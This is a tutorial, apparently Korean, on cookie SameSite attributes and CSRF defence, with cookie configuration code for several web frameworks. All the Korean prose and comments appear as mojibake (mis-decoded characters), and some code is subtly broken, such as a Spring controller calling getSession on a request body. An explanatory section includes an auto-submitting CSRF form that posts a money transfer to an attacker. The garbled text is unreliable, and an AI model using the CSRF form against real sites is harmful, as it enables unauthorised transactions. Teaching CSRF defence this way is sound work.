์‰ฝ๊ฒŒ ๋งํ•ด์„œ, ๋‹ค๋ฅธ ์‚ฌ์ดํŠธ์—์„œ ์šฐ๋ฆฌ ์‚ฌ์ดํŠธ๋กœ ์š”์ฒญ์„ ๋ณด๋‚ผ ๋•Œ ์ฟ ํ‚ค๋ฅผ ํ•จ๊ป˜ ๋ณด๋‚ผ์ง€ ๋ง์ง€๋ฅผ ๊ฒฐ์ •ํ•˜๋Š” ๊ฑฐ์ง€. ์ด๊ฒŒ ์™œ ์ค‘์š”ํ•˜๋ƒ๊ณ ? CSRF(Cross-Site Request Forgery) ๊ณต๊ฒฉ์„ ๋ง‰์„ ์ˆ˜ ์žˆ๊ฑฐ๋“ ! ๐Ÿ›ก๏ธ

๐Ÿค” CSRF ๊ณต๊ฒฉ์ด๋ž€?

์‚ฌ์šฉ์ž๊ฐ€ ์˜๋„ํ•˜์ง€ ์•Š์€ ์š”์ฒญ์„ ๊ณต๊ฒฉ์ž๊ฐ€ ๋Œ€์‹  ๋ณด๋‚ด๋Š” ๊ณต๊ฒฉ์ด์•ผ. ์˜ˆ๋ฅผ ๋“ค์–ด:

1. ๋‹น์‹ ์ด ์€ํ–‰ ์‚ฌ์ดํŠธ์— ๋กœ๊ทธ์ธ๋˜์–ด ์žˆ์–ด (์ฟ ํ‚ค์— ์„ธ์…˜ ์ •๋ณด ์ €์žฅ๋จ)
2. ์•…์„ฑ ์‚ฌ์ดํŠธ๋ฅผ ๋ฐฉ๋ฌธํ•ด
3. ๊ทธ ์‚ฌ์ดํŠธ์— ์ˆจ๊ฒจ์ง„ ์ฝ”๋“œ๊ฐ€ ์€ํ–‰ ์‚ฌ์ดํŠธ๋กœ ์†ก๊ธˆ ์š”์ฒญ์„ ๋ณด๋‚ด
4. ๋ธŒ๋ผ์šฐ์ €๋Š” ์ž๋™์œผ๋กœ ์€ํ–‰ ์ฟ ํ‚ค๋ฅผ ํ•จ๊ป˜ ๋ณด๋‚ด
5. ์€ํ–‰์€ ์ •์ƒ์ ์ธ ์š”์ฒญ์œผ๋กœ ์ธ์‹ํ•˜๊ณ  ์†ก๊ธˆ์„ ์ฒ˜๋ฆฌํ•ด๋ฒ„๋ ค! ๐Ÿ˜ฑ

SameSite ์†์„ฑ์€ ์ด๋Ÿฐ ๊ณต๊ฒฉ์„ ์›์ฒœ์ ์œผ๋กœ ์ฐจ๋‹จํ•ด์ค˜!

SameSite์˜ ์„ธ ๊ฐ€์ง€ ๊ฐ’

SameSite์—๋Š” ์„ธ ๊ฐ€์ง€ ์„ค์ •๊ฐ’์ด ์žˆ์–ด. ๊ฐ๊ฐ์˜ ํŠน์ง•์„ ์•Œ์•„๋ณด์ž! ๐Ÿ“š

๐ŸŸข Strict (๊ฐ€์žฅ ์—„๊ฒฉ)

๋™์ž‘: ํฌ๋กœ์Šค ์‚ฌ์ดํŠธ ์š”์ฒญ์—์„œ๋Š” ์ ˆ๋Œ€ ์ฟ ํ‚ค๋ฅผ ๋ณด๋‚ด์ง€ ์•Š์•„.

์žฅ์ : ์ตœ๊ณ  ์ˆ˜์ค€์˜ CSRF ๋ณดํ˜ธ

๋‹จ์ : ์‚ฌ์šฉ์ž ๊ฒฝํ—˜์ด ๋‚˜๋น ์งˆ ์ˆ˜ ์žˆ์–ด. ์˜ˆ๋ฅผ ๋“ค์–ด ์ด๋ฉ”์ผ์˜ ๋งํฌ๋ฅผ ํด๋ฆญํ•ด์„œ ์‚ฌ์ดํŠธ์— ๋“ค์–ด๊ฐ€๋ฉด ๋กœ๊ทธ์ธ์ด ์•ˆ ๋˜์–ด ์žˆ๋Š” ๊ฒƒ์ฒ˜๋Ÿผ ๋ณด์—ฌ.

์ถ”์ฒœ: ์€ํ–‰, ๊ฒฐ์ œ ์‹œ์Šคํ…œ ๋“ฑ ๋ณด์•ˆ์ด ์ตœ์šฐ์„ ์ธ ๊ฒฝ์šฐ
๐ŸŸก Lax (์ค‘๊ฐ„)

๋™์ž‘: ์•ˆ์ „ํ•œ HTTP ๋ฉ”์„œ๋“œ(GET)๋กœ ์ตœ์ƒ์œ„ ๋„ค๋น„๊ฒŒ์ด์…˜ํ•  ๋•Œ๋งŒ ์ฟ ํ‚ค๋ฅผ ๋ณด๋‚ด.

์žฅ์ : ๋ณด์•ˆ๊ณผ ์‚ฌ์šฉ์„ฑ์˜ ๊ท ํ˜•

๋‹จ์ : ์ผ๋ถ€ CSRF ๊ณต๊ฒฉ์—๋Š” ์—ฌ์ „ํžˆ ์ทจ์•ฝํ•  ์ˆ˜ ์žˆ์–ด.

์ถ”์ฒœ: ๋Œ€๋ถ€๋ถ„์˜ ์ผ๋ฐ˜์ ์ธ ์›น์‚ฌ์ดํŠธ (๊ธฐ๋ณธ๊ฐ’์œผ๋กœ ๊ถŒ์žฅ)
๐Ÿ”ด None (์ œํ•œ ์—†์Œ)

๋™์ž‘: ๋ชจ๋“  ํฌ๋กœ์Šค ์‚ฌ์ดํŠธ ์š”์ฒญ์—์„œ ์ฟ ํ‚ค๋ฅผ ๋ณด๋‚ด. ๋‹จ, Secure ํ”Œ๋ž˜๊ทธ ํ•„์ˆ˜!

์žฅ์ : ํฌ๋กœ์Šค ๋„๋ฉ”์ธ ๊ธฐ๋Šฅ ๊ตฌํ˜„ ๊ฐ€๋Šฅ

๋‹จ์ : CSRF ๊ณต๊ฒฉ์— ์ทจ์•ฝ

์ถ”์ฒœ: ์ž„๋ฒ ๋””๋“œ ์œ„์ ฏ, ์„œ๋“œํŒŒํ‹ฐ API ๋“ฑ ๊ผญ ํ•„์š”ํ•œ ๊ฒฝ์šฐ๋งŒ

SameSite ์„ค์ • ๋ฐฉ๋ฒ•

์ด์ œ ์‹ค์ œ ์ฝ”๋“œ๋กœ SameSite๋ฅผ ์„ค์ •ํ•ด๋ณด์ž! ๐Ÿ’ป

๐Ÿ“Œ Node.js (Express)
// Strict ์„ค์ • - ์ตœ๊ณ  ๋ณด์•ˆ
res.cookie('sessionId', 'abc123xyz', {
  httpOnly: true,
  secure: true,
  sameSite: 'strict'  // ํฌ๋กœ์Šค ์‚ฌ์ดํŠธ ์š”์ฒญ ์™„์ „ ์ฐจ๋‹จ
});

// Lax ์„ค์ • - ๊ถŒ์žฅ ์„ค์ •
res.cookie('sessionId', 'abc123xyz', {
  httpOnly: true,
  secure: true,
  sameSite: 'lax'  // ์•ˆ์ „ํ•œ ๋„ค๋น„๊ฒŒ์ด์…˜๋งŒ ํ—ˆ์šฉ
});

// None ์„ค์ • - ํฌ๋กœ์Šค ๋„๋ฉ”์ธ ํ•„์š” ์‹œ
res.cookie('tracking', 'xyz789', {
  httpOnly: false,
  secure: true,  // None ์‚ฌ์šฉ ์‹œ Secure ํ•„์ˆ˜!
  sameSite: 'none'
});

// express-session ์ „์—ญ ์„ค์ •
app.use(session({
  secret: 'your-secret-key',
  cookie: {
    httpOnly: true,
    secure: true,
    sameSite: 'lax'  // ๋Œ€๋ถ€๋ถ„์˜ ๊ฒฝ์šฐ lax๊ฐ€ ์ ์ ˆ
  }
}));

๐Ÿ“Œ Python (Django)
# settings.py

# ์„ธ์…˜ ์ฟ ํ‚ค ์„ค์ •
SESSION_COOKIE_SAMESITE = 'Lax'  # 'Strict', 'Lax', 'None' ์ค‘ ์„ ํƒ
SESSION_COOKIE_SECURE = True
SESSION_COOKIE_HTTPONLY = True

# CSRF ์ฟ ํ‚ค ์„ค์ •
CSRF_COOKIE_SAMESITE = 'Strict'
CSRF_COOKIE_SECURE = True

# Django 3.1 ์ด์ƒ์—์„œ๋Š” ๊ธฐ๋ณธ๊ฐ’์ด 'Lax'
# ๋ช…์‹œ์ ์œผ๋กœ ์„ค์ •ํ•˜๋Š” ๊ฒƒ์„ ๊ถŒ์žฅ

# ๋ทฐ์—์„œ ๊ฐœ๋ณ„ ์„ค์ •
from django.http import HttpResponse

def my_view(request):
    response = HttpResponse('Success')
    response.set_cookie(
        'my_cookie',
        'value',
        samesite='Strict',  # SameSite ์„ค์ •
        secure=True,
        httponly=True
    )
    return response

๐Ÿ“Œ Python (Flask)
from flask import Flask, make_response

app = Flask(__name__)

# ์„ธ์…˜ ์ฟ ํ‚ค ์ „์—ญ ์„ค์ •
app.config['SESSION_COOKIE_SAMESITE'] = 'Lax'
app.config['SESSION_COOKIE_SECURE'] = True
app.config['SESSION_COOKIE_HTTPONLY'] = True

@app.route('/set-cookie')
def set_cookie():
    response = make_response('Cookie set!')
    
    # Strict ์„ค์ •
    response.set_cookie(
        'secure_cookie',
        'value1',
        samesite='Strict',
        secure=True,
        httponly=True
    )
    
    # Lax ์„ค์ •
    response.set_cookie(
        'normal_cookie',
        'value2',
        samesite='Lax',
        secure=True,
        httponly=True
    )
    
    # None ์„ค์ • (ํฌ๋กœ์Šค ๋„๋ฉ”์ธ)
    response.set_cookie(
        'cross_domain_cookie',
        'value3',
        samesite='None',
        secure=True  # None ์‚ฌ์šฉ ์‹œ ํ•„์ˆ˜!
    )
    
    return response

๐Ÿ“Œ Java (Spring Boot)
// application.properties
server.servlet.session.cookie.same-site=lax
server.servlet.session.cookie.secure=true
server.servlet.session.cookie.http-only=true

// application.yml
server:
  servlet:
    session:
      cookie:
        same-site: lax
        secure: true
        http-only: true

// Java ์ฝ”๋“œ์—์„œ ์„ค์ • (Spring Boot 2.6+)
import org.springframework.boot.web.servlet.server.CookieSameSiteSupplier;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;

@Configuration
public class CookieConfig {
    
    @Bean
    public CookieSameSiteSupplier cookieSameSiteSupplier() {
        return CookieSameSiteSupplier.ofLax();  // ๋˜๋Š” ofStrict(), ofNone()
    }
}

// ๊ฐœ๋ณ„ ์ฟ ํ‚ค ์„ค์ •
@GetMapping("/login")
public ResponseEntity<String> login(HttpServletResponse response) {
    ResponseCookie cookie = ResponseCookie.from("sessionId", "abc123xyz")
        .httpOnly(true)
        .secure(true)
        .sameSite("Lax")  // SameSite ์„ค์ •
        .maxAge(3600)
        .path("/")
        .build();
    
    response.addHeader(HttpHeaders.SET_COOKIE, cookie.toString());
    return ResponseEntity.ok("Success");
}

๐Ÿ“Œ PHP
<?php
// PHP 7.3 ์ด์ƒ์—์„œ ์ง€์›

// Strict ์„ค์ •
setcookie(
    'sessionId',
    'abc123xyz',
    [
        'expires' => time() + 3600,
        'path' => '/',
        'domain' => '',
        'secure' => true,
        'httponly' => true,
        'samesite' => 'Strict'  // Strict, Lax, None
    ]
);

// Lax ์„ค์ • (๊ถŒ์žฅ)
setcookie(
    'user_pref',
    'value',
    [
        'expires' => time() + 86400,
        'secure' => true,
        'httponly' => false,
        'samesite' => 'Lax'
    ]
);

// None ์„ค์ • (ํฌ๋กœ์Šค ๋„๋ฉ”์ธ)
setcookie(
    'tracking',
    'xyz789',
    [
        'expires' => time() + 86400,
        'secure' => true,  // None ์‚ฌ์šฉ ์‹œ ํ•„์ˆ˜!
        'httponly' => false,
        'samesite' => 'None'
    ]
);

// ์„ธ์…˜ ์ฟ ํ‚ค ์„ค์ •
ini_set('session.cookie_samesite', 'Lax');
ini_set('session.cookie_secure', 1);
ini_set('session.cookie_httponly', 1);
session_start();
?>

๐Ÿ“Œ ASP.NET Core
// Startup.cs ๋˜๋Š” Program.cs
services.AddSession(options =>
{
    options.Cookie.HttpOnly = true;
    options.Cookie.SecurePolicy = CookieSecurePolicy.Always;
    options.Cookie.SameSite = SameSiteMode.Lax;  // Strict, Lax, None
});

// ๊ฐœ๋ณ„ ์ฟ ํ‚ค ์„ค์ •
public IActionResult SetCookie()
{
    var cookieOptions = new CookieOptions
    {
        HttpOnly = true,
        Secure = true,
        SameSite = SameSiteMode.Strict,  // SameSite ์„ค์ •
        Expires = DateTimeOffset.UtcNow.AddHours(1)
    };
    
    Response.Cookies.Append("sessionId", "abc123xyz", cookieOptions);
    return Ok("Cookie set!");
}

// ์ „์—ญ ์ฟ ํ‚ค ์ •์ฑ… ์„ค์ •
services.Configure<CookiePolicyOptions>(options =>
{
    options.MinimumSameSitePolicy = SameSiteMode.Lax;
    options.Secure = CookieSecurePolicy.Always;
});

SameSite ๊ฐ’ ์„ ํƒ ๊ฐ€์ด๋“œ

์–ด๋–ค ๊ฐ’์„ ์„ ํƒํ•ด์•ผ ํ• ์ง€ ๊ณ ๋ฏผ๋˜์ง€? ์ƒํ™ฉ๋ณ„๋กœ ์ •๋ฆฌํ•ด๋ดค์–ด! ๐ŸŽฏ

๐Ÿ“‹ ์ƒํ™ฉ๋ณ„ SameSite ์„ค์ • ๊ฐ€์ด๋“œ:

๐Ÿฆ Strict๋ฅผ ์‚ฌ์šฉํ•ด์•ผ ํ•˜๋Š” ๊ฒฝ์šฐ:
โ€ข ์€ํ–‰, ๊ธˆ์œต ์„œ๋น„์Šค
โ€ข ๊ฒฐ์ œ ์‹œ์Šคํ…œ
โ€ข ๊ด€๋ฆฌ์ž ํŽ˜์ด์ง€
โ€ข ๋ฏผ๊ฐํ•œ ๊ฐœ์ธ์ •๋ณด๋ฅผ ๋‹ค๋ฃจ๋Š” ์„œ๋น„์Šค
โ€ข ๋ณด์•ˆ์ด ์ตœ์šฐ์„ ์ธ ๋ชจ๋“  ๊ฒฝ์šฐ

๐ŸŒ Lax๋ฅผ ์‚ฌ์šฉํ•ด์•ผ ํ•˜๋Š” ๊ฒฝ์šฐ (๋Œ€๋ถ€๋ถ„):
โ€ข ์ผ๋ฐ˜์ ์ธ ์›น์‚ฌ์ดํŠธ
โ€ข ์†Œ์…œ ๋ฏธ๋””์–ด
โ€ข ๋ธ”๋กœ๊ทธ, ์ปค๋ฎค๋‹ˆํ‹ฐ
โ€ข ์ด์ปค๋จธ์Šค (๊ฒฐ์ œ ํŽ˜์ด์ง€ ์ œ์™ธ)
โ€ข ์‚ฌ์šฉ์ž ๊ฒฝํ—˜๊ณผ ๋ณด์•ˆ์˜ ๊ท ํ˜•์ด ํ•„์š”ํ•œ ๊ฒฝ์šฐ

๐Ÿ”“ None์„ ์‚ฌ์šฉํ•ด์•ผ ํ•˜๋Š” ๊ฒฝ์šฐ (์ตœ์†Œํ™”):
โ€ข ์ž„๋ฒ ๋””๋“œ ์œ„์ ฏ (YouTube ํ”Œ๋ ˆ์ด์–ด, ์†Œ์…œ ๋ฏธ๋””์–ด ๋ฒ„ํŠผ ๋“ฑ)
โ€ข ์„œ๋“œํŒŒํ‹ฐ ์ธ์ฆ (OAuth, SSO)
โ€ข ํฌ๋กœ์Šค ๋„๋ฉ”์ธ API
โ€ข iframe ๋‚ด์—์„œ ์ž‘๋™ํ•˜๋Š” ์„œ๋น„์Šค
โ€ข ๋ฐ˜๋“œ์‹œ Secure ํ”Œ๋ž˜๊ทธ์™€ ํ•จ๊ป˜ ์‚ฌ์šฉ!

SameSite ๋™์ž‘ ์ดํ•ดํ•˜๊ธฐ

๊ฐ ์„ค์ •๊ฐ’์ด ์‹ค์ œ๋กœ ์–ด๋–ป๊ฒŒ ๋™์ž‘ํ•˜๋Š”์ง€ ์˜ˆ์ œ๋กœ ์•Œ์•„๋ณด์ž! ๐Ÿ”

๐ŸŽฌ ์‹œ๋‚˜๋ฆฌ์˜ค: ์‚ฌ์šฉ์ž๊ฐ€ example.com์— ๋กœ๊ทธ์ธ๋˜์–ด ์žˆ๊ณ , evil.com์„ ๋ฐฉ๋ฌธํ•œ ์ƒํ™ฉ

์ผ€์ด์Šค 1: evil.com์—์„œ example.com์œผ๋กœ POST ์š”์ฒญ
<form action="https://example.com/transfer" method="POST">
  <input name="amount" value="1000000">
  <input name="to" value="attacker">
</form>
<script>document.forms[0].submit();</script>
โ€ข Strict: โŒ ์ฟ ํ‚ค ์ „์†ก ์•ˆ ๋จ โ†’ ์š”์ฒญ ์‹คํŒจ
โ€ข Lax: โŒ ์ฟ ํ‚ค ์ „์†ก ์•ˆ ๋จ โ†’ ์š”์ฒญ ์‹คํŒจ
โ€ข None: โœ… ์ฟ ํ‚ค ์ „์†ก๋จ โ†’ ๊ณต๊ฒฉ ์„ฑ๊ณต! (์œ„ํ—˜)

์ผ€์ด์Šค 2: ์ด๋ฉ”์ผ์˜ ๋งํฌ๋ฅผ ํด๋ฆญํ•ด์„œ example.com ๋ฐฉ๋ฌธ (GET ์š”์ฒญ)
<a href="https://example.com/dashboard">๋Œ€์‹œ๋ณด๋“œ ๋ณด๊ธฐ</a>
โ€ข Strict: โŒ ์ฟ ํ‚ค ์ „์†ก ์•ˆ ๋จ โ†’ ๋กœ๊ทธ์ธ ์•ˆ ๋œ ๊ฒƒ์ฒ˜๋Ÿผ ๋ณด์ž„
โ€ข Lax: โœ… ์ฟ ํ‚ค ์ „์†ก๋จ โ†’ ์ •์ƒ ๋กœ๊ทธ์ธ ์ƒํƒœ
โ€ข None: โœ… ์ฟ ํ‚ค ์ „์†ก๋จ โ†’ ์ •์ƒ ๋กœ๊ทธ์ธ ์ƒํƒœ

์ผ€์ด์Šค 3: example.com ๋‚ด์—์„œ์˜ ์ผ๋ฐ˜์ ์ธ ์š”์ฒญ
โ€ข Strict: โœ… ์ฟ ํ‚ค ์ „์†ก๋จ
โ€ข Lax: โœ… ์ฟ ํ‚ค ์ „์†ก๋จ
โ€ข None: โœ… ์ฟ ํ‚ค ์ „์†ก๋จ

๊ฒฐ๋ก : Lax๊ฐ€ ๋ณด์•ˆ๊ณผ ์‚ฌ์šฉ์„ฑ์˜ ์ตœ์  ๊ท ํ˜•์ ! ๐ŸŽฏ
SameSite ๋™์ž‘ ๋น„๊ต Strict ํฌ๋กœ์Šค ์‚ฌ์ดํŠธ ์š”์ฒญ โŒ ์ฐจ๋‹จ ๊ฐ™์€ ์‚ฌ์ดํŠธ ์š”์ฒญ โœ… ํ—ˆ์šฉ ์ตœ๊ณ  ๋ณด์•ˆ ์‚ฌ์šฉ์„ฑ ๋‚ฎ์Œ ์ถ”์ฒœ: ์€ํ–‰, ๊ฒฐ์ œ Lax (๊ถŒ์žฅ) ํฌ๋กœ์Šค ์‚ฌ์ดํŠธ POST โŒ ์ฐจ๋‹จ ํฌ๋กœ์Šค ์‚ฌ์ดํŠธ GET โœ… ํ—ˆ์šฉ ๊ท ํ˜•์žกํžŒ ๋ณด์•ˆ ์ข‹์€ ์‚ฌ์šฉ์„ฑ ์ถ”์ฒœ: ๋Œ€๋ถ€๋ถ„์˜ ์‚ฌ์ดํŠธ None ๋ชจ๋“  ์š”์ฒญ โœ… ํ—ˆ์šฉ โš ๏ธ Secure ํ•„์ˆ˜ HTTPS๋งŒ ๊ฐ€๋Šฅ ๋ณด์•ˆ ๋‚ฎ์Œ CSRF ์ทจ์•ฝ ์ถ”์ฒœ: ์œ„์ ฏ, API๋งŒ

๐Ÿ”ง ์‹ค์ „ ์ ์šฉ: ์„ธ ๊ฐ€์ง€๋ฅผ ๋ชจ๋‘ ํ•จ๊ป˜ ์‚ฌ์šฉํ•˜๊ธฐ

์™„๋ฒฝํ•œ ์ฟ ํ‚ค ๋ณด์•ˆ ์„ค์ •

์ด์ œ HttpOnly, Secure, SameSite๋ฅผ ๋ชจ๋‘ ์กฐํ•ฉํ•ด์„œ ์ตœ๊ณ  ์ˆ˜์ค€์˜ ๋ณด์•ˆ์„ ๊ตฌํ˜„ํ•ด๋ณด์ž! ๐Ÿ›ก๏ธ

โœ… ํ™ฉ๊ธˆ ์กฐํ•ฉ:

HttpOnly + Secure + SameSite=Lax

์ด ์กฐํ•ฉ์ด ๋Œ€๋ถ€๋ถ„์˜ ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ ์ตœ์ ์˜ ๋ณด์•ˆ๊ณผ ์‚ฌ์šฉ์„ฑ์„ ์ œ๊ณตํ•ด!
๐Ÿ“Œ Node.js ์™„๋ฒฝํ•œ ์„ค์ • ์˜ˆ์ œ
const express = require('express');
const session = require('express-session');
const helmet = require('helmet');

const app = express();

// Helmet์œผ๋กœ ๊ธฐ๋ณธ ๋ณด์•ˆ ํ—ค๋” ์„ค์ •
app.use(helmet());

// ํ™˜๊ฒฝ ๋ณ€์ˆ˜๋กœ ์šด์˜/๊ฐœ๋ฐœ ํ™˜๊ฒฝ ๊ตฌ๋ถ„
const isProduction = process.env.NODE_ENV === 'production';

// ์„ธ์…˜ ์„ค์ • - ์™„๋ฒฝํ•œ ๋ณด์•ˆ
app.use(session({
  secret: process.env.SESSION_SECRET || 'your-secret-key',
  name: 'sessionId',  // ๊ธฐ๋ณธ ์ด๋ฆ„ ๋ณ€๊ฒฝ์œผ๋กœ ์ถ”๊ฐ€ ๋ณด์•ˆ
  resave: false,
  saveUninitialized: false,
  cookie: {
    httpOnly: true,      // XSS ๋ฐฉ์–ด
    secure: isProduction, // HTTPS์—์„œ๋งŒ ์ „์†ก
    sameSite: 'lax',     // CSRF ๋ฐฉ์–ด
    maxAge: 1000 * 60 * 60 * 24,  // 24์‹œ๊ฐ„
    domain: isProduction ? '.yourdomain.com' : undefined
  },
  proxy: isProduction  // ํ”„๋ก์‹œ ๋’ค์— ์žˆ์„ ๋•Œ
}));

// ๋กœ๊ทธ์ธ ์—”๋“œํฌ์ธํŠธ
app.post('/api/login', async (req, res) => {
  try {
    const { username, password } = req.body;
    
    // ์‚ฌ์šฉ์ž ์ธ์ฆ ๋กœ์ง
    const user = await authenticateUser(username, password);
    
    if (!user) {
      return res.status(401).json({ error: '์ธ์ฆ ์‹คํŒจ' });
    }
    
    // ์„ธ์…˜์— ์‚ฌ์šฉ์ž ์ •๋ณด ์ €์žฅ
    req.session.userId = user.id;
    req.session.username = user.username;
    
    // ์ถ”๊ฐ€ ๋ณด์•ˆ ์ฟ ํ‚ค ์„ค์ •
    res.cookie('user_pref', user.preferences, {
      httpOnly: false,  // ํด๋ผ์ด์–ธํŠธ์—์„œ ์ฝ์–ด์•ผ ํ•˜๋Š” ๊ฒฝ์šฐ
      secure: isProduction,
      sameSite: 'lax',
      maxAge: 1000 * 60 * 60 * 24 * 30  // 30์ผ
    });
    
    res.json({ 
      success: true, 
      user: { 
        id: user.id, 
        username: user.username 
      } 
    });
    
  } catch (error) {
    console.error('Login error:', error);
    res.status(500).json({ error: '์„œ๋ฒ„ ์˜ค๋ฅ˜' });
  }
});

// ๋กœ๊ทธ์•„์›ƒ ์—”๋“œํฌ์ธํŠธ
app.post('/api/logout', (req, res) => {
  req.session.destroy((err) => {
    if (err) {
      return res.status(500).json({ error: '๋กœ๊ทธ์•„์›ƒ ์‹คํŒจ' });
    }
    
    // ์ฟ ํ‚ค ์‚ญ์ œ
    res.clearCookie('sessionId');
    res.clearCookie('user_pref');
    
    res.json({ success: true });
  });
});

// ์ธ์ฆ ๋ฏธ๋“ค์›จ์–ด
function requireAuth(req, res, next) {
  if (!req.session.userId) {
    return res.status(401).json({ error: '์ธ์ฆ ํ•„์š”' });
  }
  next();
}

// ๋ณดํ˜ธ๋œ ๋ผ์šฐํŠธ
app.get('/api/profile', requireAuth, (req, res) => {
  res.json({
    userId: req.session.userId,
    username: req.session.username
  });
});

const PORT = process.env.PORT || 3000;
app.listen(PORT, () => {
  console.log(`Server running on port ${PORT}`);
  console.log(`Environment: ${isProduction ? 'Production' : 'Development'}`);
});

๐Ÿ“Œ Django ์™„๋ฒฝํ•œ ์„ค์ • ์˜ˆ์ œ
# settings.py

import os

# ํ™˜๊ฒฝ ๋ณ€์ˆ˜
DEBUG = os.environ.get('DEBUG', 'False') == 'True'
SECRET_KEY = os.environ.get('SECRET_KEY', 'your-secret-key')

# ์„ธ์…˜ ์ฟ ํ‚ค ์„ค์ •
SESSION_COOKIE_NAME = 'sessionid'  # ๊ธฐ๋ณธ๊ฐ’์ด์ง€๋งŒ ๋ช…์‹œ
SESSION_COOKIE_AGE = 86400  # 24์‹œ๊ฐ„ (์ดˆ ๋‹จ์œ„)
SESSION_COOKIE_HTTPONLY = True  # XSS ๋ฐฉ์–ด
SESSION_COOKIE_SECURE = not DEBUG  # ์šด์˜์—์„œ๋งŒ HTTPS
SESSION_COOKIE_SAMESITE = 'Lax'  # CSRF ๋ฐฉ์–ด

# CSRF ์ฟ ํ‚ค ์„ค์ •
CSRF_COOKIE_NAME = 'csrftoken'
CSRF_COOKIE_HTTPONLY = False  # CSRF ํ† ํฐ์€ JS์—์„œ ์ฝ์–ด์•ผ ํ•จ
CSRF_COOKIE_SECURE = not DEBUG
CSRF_COOKIE_SAMESITE = 'Lax'

# ์ถ”๊ฐ€ ๋ณด์•ˆ ์„ค์ •
SECURE_BROWSER_XSS_FILTER = True
SECURE_CONTENT_TYPE_NOSNIFF = True
X_FRAME_OPTIONS = 'DENY'

# HTTPS ๊ด€๋ จ ์„ค์ • (์šด์˜ ํ™˜๊ฒฝ)
if not DEBUG:
    SECURE_SSL_REDIRECT = True  # HTTP๋ฅผ HTTPS๋กœ ๋ฆฌ๋‹ค์ด๋ ‰ํŠธ
    SECURE_HSTS_SECONDS = 31536000  # HSTS 1๋…„
    SECURE_HSTS_INCLUDE_SUBDOMAINS = True
    SECURE_HSTS_PRELOAD = True
    SESSION_COOKIE_SECURE = True
    CSRF_COOKIE_SECURE = True

# views.py
from django.contrib.auth import authenticate, login, logout
from django.http import JsonResponse
from django.views.decorators.csrf import ensure_csrf_cookie
from django.views.decorators.http import require_http_methods

@require_http_methods(["POST"])
@ensure_csrf_cookie
def login_view(request):
    username = request.POST.get('username')
    password = request.POST.get('password')
    
    user = authenticate(request, username=username, password=password)
    
    if user is not None:
        login(request, user)
        
        # ์ถ”๊ฐ€ ์ฟ ํ‚ค ์„ค์ •
        response = JsonResponse({
            'success': True,
            'user': {
                'id': user.id,
                'username': user.username
            }
        })
        
        response.set_cookie(
            'user_pref',
            user.preferences,
            max_age=2592000,  # 30์ผ
            secure=not DEBUG,
            httponly=False,
            samesite='Lax'
        )
        
        return response
    else:
        return JsonResponse({'error': '์ธ์ฆ ์‹คํŒจ'}, status=401)

@require_http_methods(["POST"])
def logout_view(request):
    logout(request)
    response = JsonResponse({'success': True})
    response.delete_cookie('user_pref')
    return response

๐Ÿ“Œ Spring Boot ์™„๋ฒฝํ•œ ์„ค์ • ์˜ˆ์ œ
// application.yml
server:
  servlet:
    session:
      cookie:
        name: SESSIONID
        http-only: true
        secure: true
        same-site: lax
        max-age: 86400  # 24์‹œ๊ฐ„
    
spring:
  security:
    cookie:
      same-site: lax

// SecurityConfig.java
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.web.SecurityFilterChain;
import org.springframework.security.web.csrf.CookieCsrfTokenRepository;

@Configuration
public class SecurityConfig {
    
    @Bean
    public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
        http
            .csrf(csrf -> csrf
                .csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse())
            )
            .sessionManagement(session -> session
                .sessionFixation().migrateSession()
                .maximumSessions(1)
            )
            .headers(headers -> headers
                .contentSecurityPolicy("default-src 'self'")
                .and()
                .frameOptions().deny()
                .xssProtection()
            );
        
        return http.build();
    }
}

// LoginController.java
import org.springframework.http.ResponseCookie;
import org.springframework.http.HttpHeaders;
import org.springframework.web.bind.annotation.*;

@RestController
@RequestMapping("/api")
public class LoginController {
    
    @PostMapping("/login")
    public ResponseEntity<LoginResponse> login(
            @RequestBody LoginRequest request,
            HttpServletResponse response) {
        
        // ์‚ฌ์šฉ์ž ์ธ์ฆ
        User user = authService.authenticate(
            request.getUsername(), 
            request.getPassword()
        );
        
        if (user == null) {
            return ResponseEntity.status(401)
                .body(new LoginResponse(false, "์ธ์ฆ ์‹คํŒจ"));
        }
        
        // ์„ธ์…˜ ์ƒ์„ฑ
        HttpSession session = request.getSession(true);
        session.setAttribute("userId", user.getId());
        session.setAttribute("username", user.getUsername());
        
        // ์ถ”๊ฐ€ ์ฟ ํ‚ค ์„ค์ •
        ResponseCookie cookie = ResponseCookie
            .from("user_pref", user.getPreferences())
            .httpOnly(false)
            .secure(true)
            .sameSite("Lax")
            .maxAge(2592000)  // 30์ผ
            .path("/")
            .build();
        
        response.addHeader(HttpHeaders.SET_COOKIE, cookie.toString());
        
        return ResponseEntity.ok(
            new LoginResponse(true, "๋กœ๊ทธ์ธ ์„ฑ๊ณต", user)
        );
    }
    
    @PostMapping("/logout")
    public ResponseEntity<LogoutResponse> logout(HttpSession session) {
        session.invalidate();
        return ResponseEntity.ok(new LogoutResponse(true, "๋กœ๊ทธ์•„์›ƒ ์„ฑ๊ณต"));
    }
}

ํ™˜๊ฒฝ๋ณ„ ์„ค์ • ์ „๋žต

๊ฐœ๋ฐœ, ์Šคํ…Œ์ด์ง•, ์šด์˜ ํ™˜๊ฒฝ๋งˆ๋‹ค ๋‹ค๋ฅธ ์„ค์ •์ด ํ•„์š”ํ•ด. ๊ฐ ํ™˜๊ฒฝ์— ๋งž๋Š” ์ „๋žต์„ ์•Œ์•„๋ณด์ž! ๐ŸŽฏ

๐Ÿ—๏ธ ๊ฐœ๋ฐœ ํ™˜๊ฒฝ (Development)
{
  httpOnly: true,      // ํ•ญ์ƒ true
  secure: false,       // localhost๋Š” HTTP
  sameSite: 'lax',     // ํ…Œ์ŠคํŠธ ์šฉ์ด์„ฑ
  domain: undefined    // localhost
}
ํŠน์ง•: ๋””๋ฒ„๊น… ํŽธ์˜์„ฑ ์šฐ์„ , ํ•˜์ง€๋งŒ HttpOnly๋Š” ์œ ์ง€

๐Ÿงช ์Šคํ…Œ์ด์ง• ํ™˜๊ฒฝ (Staging)
{
  httpOnly: true,
  secure: true,        // HTTPS ์‚ฌ์šฉ
  sameSite: 'lax',
  domain: '.staging.yourdomain.com'
}
